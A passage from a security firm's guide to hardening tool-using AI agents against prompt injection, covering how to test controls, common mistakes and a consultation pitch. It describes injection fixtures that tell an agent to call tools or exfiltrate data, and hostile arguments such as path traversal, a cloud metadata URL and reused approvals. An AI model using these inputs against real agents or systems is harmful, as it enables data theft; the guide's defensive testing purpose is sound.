  • Per account: model spend per user and tenant per day, with alerts below the hard cap.
  • Circuit breakers: when a threshold trips, halt and escalate to a human.

9. Testing the Controls

Most of the controls above are deterministic code, so most of their tests do not need a model at all. Write ordinary unit tests that call tools directly with the arguments an injected model would produce: another user's order ID, an extra field, a coerced type, a path with .., a URL pointing at 169.254.169.254, an approval for a different amount, an expired, reused or self-granted approval, and two concurrent calls spending one approval. Each should fail in the way you designed, in CI, regardless of the model.

Then test end to end with injection fixtures: documents, emails, pages and tool results that tell the agent to call tools, exfiltrate data or render images. Assert on what the agent did (tool calls, requests seen at the proxy, approvals requested), not what it said. Canary values in private test data make exfiltration easy to spot.

Re-run both whenever the model, system prompt, a tool definition or an MCP server version changes. Anthropic recommends red-teaming your own workflow with injected content before deployment, and OWASP's 2026 Prompt Injection entry adds that a fixed test set is not enough: test against an attacker who knows how your defenses work. Full adversarial methodology is a subject of its own; the point here is that every control should have a test that proves it fails closed.

10. Common Mistakes

  1. Authorization in the system prompt. "Only access the current user's records" is not enforced by anything. Put the check in the tool.
  2. Trusting user identity from tool arguments. If the model can pass user_id, an injection can pass someone else's.
  3. One powerful service account for every user. Every successful injection becomes a cross-tenant incident.
  4. Generic http_request or bash tools left over from a prototype.
  5. Credentials in the sandbox environment, where any code the agent runs can read them.
  6. A default Docker bridge for "temporary" network access, or a proxy allowlist that a reverse lookup or an internal address can get around.
  7. Check-then-act approvals and balances that two concurrent calls can both pass.
  8. Approval dialogs that show the model's summary instead of the actual arguments.
  9. Rendering Markdown images from model output with no Content Security Policy.
  10. Unpinned MCP servers, never re-checked after the first review.
  11. Logging only the final answer, which leaves nothing to investigate.
  12. Treating classifiers or vendor defenses as the control. They reduce the injection rate; your architecture determines the blast radius.

How SR&D Can Help

If you are building an agent like the ones in this guide, SR&D's AI Systems Development engagement, part of Custom Development & R&D, designs and builds tool-using agents with scoped permissions and human approval steps.

References

Standards and Frameworks

Model Context Protocol

Vendor Guidance

Research and Analysis

Isolation and Network Controls

Want to learn more?

Our team specializes in offensive security. Get in touch for a consultation.

Start a project